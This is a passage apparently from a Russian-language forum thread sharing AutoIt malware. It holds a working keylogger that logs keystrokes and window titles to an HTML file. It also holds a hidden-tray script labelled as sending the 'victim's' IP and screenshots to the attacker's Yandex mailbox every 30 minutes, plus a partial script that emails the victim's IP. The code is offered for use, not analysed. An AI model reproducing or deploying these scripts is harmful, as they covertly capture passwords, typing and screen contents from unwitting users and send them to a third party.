 EndIf
 FileWrite($log,"")
 FileOpen($log, 1)
 Sleep(100)
 FileWrite($log, "<font face=Verdana size=1>")
 FileWrite($log, "<b><center>[#[ Keylogger Log Start ]#] </center></b><br>")
 FileWrite($log, "<b><center>[#[ History : ]#] </center></b><br>")

 FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
 FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
 FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Left mouse button<br></font></center>")
 FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Right mouse button<br></font></center>")
 FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Middle mouse button<br></font></center>")
 FileWrite($log, "<br>")

 FileWrite($log, "<b><center>[#[ Log : ]#] </center></b><br>")


 While 1
 For $n = 30 To 39
 If _IsPressed ($n) Then
 If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('=')
 ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress('0')
 ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('!')
 ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress('1')
 ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('"')
 ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress('2')
 ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('#')
 ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress( '3')
 ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('$')
 ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress('4')
 ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('%')
 ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress( '5')
 ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('&')
 ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress('6')
 ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('/')
 ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress('7')
 ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress('(')
 ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress('8')
 ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
 _LogKeyPress(')')
 ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
 _LogKeyPress('9')
 EndIf
 While _IsPressed ($n) = 1
 Sleep(1)
 WEnd
 EndIf
 Next
 If _IsPressed ('2E') = 1 Then
 _LogKeyPress('.')
 While _IsPressed ('2E') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('3F') = 1 Then
 _LogKeyPress("?")
 While _IsPressed ('3F') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('B4') = 1 Then
 _LogKeyPress("?")
 While _IsPressed ('B4') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('2A') = 1 Then
 _LogKeyPress("*")
 While _IsPressed ('2A') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('2B') = 1 Then
 _LogKeyPress("+")
 While _IsPressed ('2B') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('27') = 1 Then
 _LogKeyPress("'")
 While _IsPressed ('27') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('41') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("a")
 Else
 _LogKeyPress("A")
 EndIf
 While _IsPressed ('41') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('42') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("b")
 Else
 _LogKeyPress("B")
 EndIf
 While _IsPressed ('42') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('43') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("c")
 Else
 _LogKeyPress("C")
 EndIf
 While _IsPressed ('43') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('44') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("d")
 Else
 _LogKeyPress("D")
 EndIf
 While _IsPressed ('44') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('45') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("e")
 Else
 _LogKeyPress("E")
 EndIf
 While _IsPressed ('45') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('46') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("f")
 Else
 _LogKeyPress("F")
 EndIf
 While _IsPressed ('46') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('47') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("g")
 Else
 _LogKeyPress("G")
 EndIf
 While _IsPressed ('47') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('48') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("h")
 Else
 _LogKeyPress("H")
 EndIf
 While _IsPressed ('48') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('49') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("i")
 Else
 _LogKeyPress("I")
 EndIf
 While _IsPressed ('49') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('4A') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("j")
 Else
 _LogKeyPress("J")
 EndIf
 While _IsPressed ('4A') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('4B') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("k")
 Else
 _LogKeyPress("K")
 EndIf
 While _IsPressed ('4B') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('4C') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("l")
 Else
 _LogKeyPress("L")
 EndIf
 While _IsPressed ('4C') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('4D') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("m")
 Else
 _LogKeyPress("M")
 EndIf
 While _IsPressed ('4D') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('4E') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("n")
 Else
 _LogKeyPress("N")
 EndIf
 While _IsPressed ('4E') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('4F') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("o")
 Else
 _LogKeyPress("O")
 EndIf
 While _IsPressed ('4F') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('50') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("p")
 Else
 _LogKeyPress("P")
 EndIf
 While _IsPressed ('50') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('51') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("q")
 Else
 _LogKeyPress("Q")
 EndIf
 While _IsPressed ('51') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('52') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("r")
 Else
 _LogKeyPress("R")
 EndIf
 While _IsPressed ('52') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('53') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("s")
 Else
 _LogKeyPress("S")
 EndIf
 While _IsPressed ('53') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('54') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("t")
 Else
 _LogKeyPress("T")
 EndIf
 While _IsPressed ('54') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('55') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("u")
 Else
 _LogKeyPress("U")
 EndIf
 While _IsPressed ('55') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('56') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("v")
 Else
 _LogKeyPress("V")
 EndIf
 While _IsPressed ('56') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('57') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("w")
 Else
 _LogKeyPress("W")
 EndIf
 While _IsPressed ('57') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('58') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("x")
 Else
 _LogKeyPress("X")
 EndIf
 While _IsPressed ('58') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('59') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("y")
 Else
 _LogKeyPress("Y")
 EndIf
 While _IsPressed ('59') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('5A') = 1 Then
 If $CAPSLOCKTOGGLE = 0 Then
 _LogKeyPress("z")
 Else
 _LogKeyPress("Z")
 EndIf
 While _IsPressed ('5A') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('20') = 1 Then
 _LogKeyPress(" ")
 While _IsPressed ('20') = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('01') = 1 Then

 _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
 While _IsPressed ("01") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('02') = 1 Then

 _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
 While _IsPressed ("02") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('04') = 1 Then
 _LogKeyPress("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
 While _IsPressed ("04") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('08') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")

 While _IsPressed ("08") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('09') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
 While _IsPressed ("09") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('0d') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
 While _IsPressed ("0d") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('10') Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
 While _IsPressed ("10") = 1
 For $n = 30 To 39
 If _IsPressed ($n) Then
 If StringRight($n, 1) = 0 Then
 _LogKeyPress('=')
 ElseIf StringRight($n, 1) = 1 Then
 _LogKeyPress('!')
 ElseIf StringRight($n, 1) = 2 Then
 _LogKeyPress('"')
 ElseIf StringRight($n, 1) = 3 Then
 _LogKeyPress('#')
 ElseIf StringRight($n, 1) = 4 Then
 _LogKeyPress('$')
 ElseIf StringRight($n, 1) = 5 Then
 _LogKeyPress('%')
 ElseIf StringRight($n, 1) = 6 Then
 _LogKeyPress('&')
 ElseIf StringRight($n, 1) = 7 Then
 _LogKeyPress('/')
 ElseIf StringRight($n, 1) = 8 Then
 _LogKeyPress('(')
 ElseIf StringRight($n, 1) = 9 Then
 _LogKeyPress(')')
 EndIf
 While _IsPressed ($n) = 1
 Sleep(1)
 WEnd
 EndIf
 Next
 If _IsPressed ('41') = 1 Then _LogKeyPress("A")
 While _IsPressed ('41') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('42') = 1 Then _LogKeyPress("B")
 While _IsPressed ('42') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('43') = 1 Then _LogKeyPress("C")
 While _IsPressed ('43') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('44') = 1 Then _LogKeyPress("D")
 While _IsPressed ('44') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('45') = 1 Then _LogKeyPress("E")
 While _IsPressed ('45') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('46') = 1 Then _LogKeyPress("F")
 While _IsPressed ('46') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('47') = 1 Then _LogKeyPress("G")
 While _IsPressed ('47') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('48') = 1 Then _LogKeyPress("H")
 While _IsPressed ('48') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('49') = 1 Then _LogKeyPress("I")
 While _IsPressed ('49') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('4A') = 1 Then _LogKeyPress("J")
 While _IsPressed ('4A') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('4B') = 1 Then _LogKeyPress("K")
 While _IsPressed ('4B') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('4C') = 1 Then _LogKeyPress("L")
 While _IsPressed ('4C') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('4D') = 1 Then _LogKeyPress("M")
 While _IsPressed ('4D') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('4E') = 1 Then _LogKeyPress("N")
 While _IsPressed ('4E') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('4F') = 1 Then _LogKeyPress("O")
 While _IsPressed ('4F') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('50') = 1 Then _LogKeyPress("P")
 While _IsPressed ('50') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('51') = 1 Then _LogKeyPress("Q")
 While _IsPressed ('51') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('52') = 1 Then _LogKeyPress("R")
 While _IsPressed ('52') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('53') = 1 Then _LogKeyPress("S")
 While _IsPressed ('53') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('54') = 1 Then _LogKeyPress("T")
 While _IsPressed ('54') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('55') = 1 Then _LogKeyPress("U")
 While _IsPressed ('55') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('56') = 1 Then _LogKeyPress("V")
 While _IsPressed ('56') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('57') = 1 Then _LogKeyPress("W")
 While _IsPressed ('57') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('58') = 1 Then _LogKeyPress("X")
 While _IsPressed ('58') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('59') = 1 Then _LogKeyPress("Y")
 While _IsPressed ('59') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('5A') = 1 Then _LogKeyPress("Z")
 While _IsPressed ('5A') = 1
 Sleep(1)
 WEnd
 [color=red][b]If _IsPressed ('NUMPAD0') = 1 Then _LogKeyPress("0")
 While _IsPressed ('NUMPAD0') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('61') = 1 Then _LogKeyPress("1")
 While _IsPressed ('61') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('62') = 1 Then _LogKeyPress("2")
 While _IsPressed ('62') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('63') = 1 Then _LogKeyPress("3")
 While _IsPressed ('63') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('64') = 1 Then _LogKeyPress("4")
 While _IsPressed ('64') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('65') = 1 Then _LogKeyPress("5")
 While _IsPressed ('65') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('66') = 1 Then _LogKeyPress("6")
 While _IsPressed ('66') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('67') = 1 Then _LogKeyPress("7")
 While _IsPressed ('67') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('68') = 1 Then _LogKeyPress("8")
 While _IsPressed ('68') = 1
 Sleep(1)
 WEnd
 If _IsPressed ('69') = 1 Then _LogKeyPress("9")
 While _IsPressed ('69') = 1
 Sleep(1)
 WEnd [/b][/color]
 WEnd
 ElseIf _IsPressed ('11') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
 While _IsPressed ("11") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('12') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
 While _IsPressed ("12") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('13') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
 While _IsPressed ("13") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('14') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
 If $CAPSLOCKTOGGLE = 1 Then
 $CAPSLOCKTOGGLE = 0
 ElseIf $CAPSLOCKTOGGLE = 0 Then
 $CAPSLOCKTOGGLE = 1
 EndIf
 While _IsPressed ("14") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('1b') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
 While _IsPressed ("1b") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('21') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
 While _IsPressed ("21") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('22') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
 While _IsPressed ("22") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('23') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
 While _IsPressed ("23") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('24') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
 While _IsPressed ("24") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('25') = 1 Then
 _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
 While _IsPressed ("25") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('26') = 1 Then
 _LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
 While _IsPressed ("26") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('27') = 1 Then
 _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
 While _IsPressed ("27") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('28') = 1 Then
 _LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
 While _IsPressed ("28") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('2c') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
 While _IsPressed ("2c") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('2d') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
 While _IsPressed ("2d") = 1
 Sleep(1)
 WEnd
 ElseIf _IsPressed ('2e') = 1 Then
 _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
 While _IsPressed ("2e") = 1
 Sleep(1)
 WEnd
 EndIf
 WEnd
 Func _IsPressed($hexKey)
 Local $aR, $bRv
 $hexKey = '0x' & $hexKey
 $aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
 If $aR[0] <> 0 Then
 $bRv = 1
 Else
 $bRv = 0
 EndIf
 Return $bRv
 EndFunc
 Func _LogKeyPress($what2log)
 $window = WinGetTitle("")
 If $window = $window2 Then
 FileWrite($log, $what2log)
 Else
 $window2 = $window
 FileWrite($log, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $window & '"</b><br>' & $what2log)
 EndIf
 EndFunc
 Func Terminate()
 DllClose($user32)
 FileClose($log)
 Exit
 EndFunc

0

5

СКРИПТ ОТПРАВЛЯЕТ IP И СКРИН ЖЕРТВЫ

Код:
#NoTrayIcon
#include <ScreenCapture.au3>
#include <File.au3>
#include <Inet.au3>

;Заполнить
$sFile = "scrin.jpg"
$SmtpServer = "smtp.yandex.ru"              ; адрес SMTP сервера
$FromName = "ScreenSender"                     ; имя отправителя
$FromAddress = "логин@yandex.ru" ; адрес отправителя
$ToAddress = "логин@yandex.ru"   ; адрес получателя
$Subject = "Новый Скрин..."                   ; тема письма
$AttachFiles = $sFile
$sText= _GetIP()                             ;вот в этой переменной пишется IP
$CcAddress = ""     
$BccAddress = ""     
$Importance = "Normal"                  ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low"
$Username = "логин@yandex.ru"                    ; имя отправителя
$Password = "пароль"                  ; пас отпрвителя
$IPPort = 587                            ; порт можно 25,ну и так норм отправляет
$ssl = 0                                ;сокет
;~ $IPPort=465; GMAIL порт

$i =0
While $i <= 1                 ; создаем условие который всегда правильный и скрипт будет работать бесконечно ))))

Sleep(1000*60*30)                ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 30 минут )

$var = Ping("www.google.com",250)        ; проверяем на наличие интернета если инет есть то скрипт приступает к работе 

If @error = 0 Then
_ImageResize()
EndIf

WEnd
 ; функция отправки
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail=""
EndFunc   ;==>_INetSmtpMailCom

; функция делает скрин и вызывает функцию отправки
Func _ImageResize()
   Local $hBmp
   $hBmp = _ScreenCapture_Capture ("")
_ScreenCapture_SaveImage ("scrin.jpg", $hBmp)
Sleep(1000)
_INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl)
sleep(1000)
FileDelete("scrin.jpg")
EndFunc

0

6

Скрипт отправляет IP на почту

Код:
#include <File.au3>
#include <Inet.au3>

;Заполнить
$sFile = "IP.txt"
$SmtpServer = "smtp.yandex.ru"              ; адрес SMTP сервера
$FromName = "IP-(имя жертвы)"                     ; в место жертвы можете написать имя ламера или что нибудь еше чтоб различить от кого пришло IP
$FromAddress = "логин@yandex.ru" ; адрес отправителя
$ToAddress = "логин@yandex.ru"   ; адрес получателя
$Subject = "внешний IP"                   ; тема письма
$AttachFiles = $sFile
$sText=_GetIP()                                                ;тело письма
$CcAddress = ""     
$BccAddress = ""     
$Importance = "Normal"                  ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low"
$Username = "логин@yandex.ru"                    ; имя отправителя
$Password = "пасс"                  ; пас отпрвителя
$IPPort = 587                            ; порт можно 25,ну и так норм отправляет
$ssl = 0                                ;сокет
;~ $IPPort=465; GMAIL порт

; функция отправки
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail=""
EndFunc   ;==>_INetSmtpMailCom


$i =0
While $i <= 1                              ; создаем услоаие который всегда правильный и скрипт будет работать бесконечно ))))



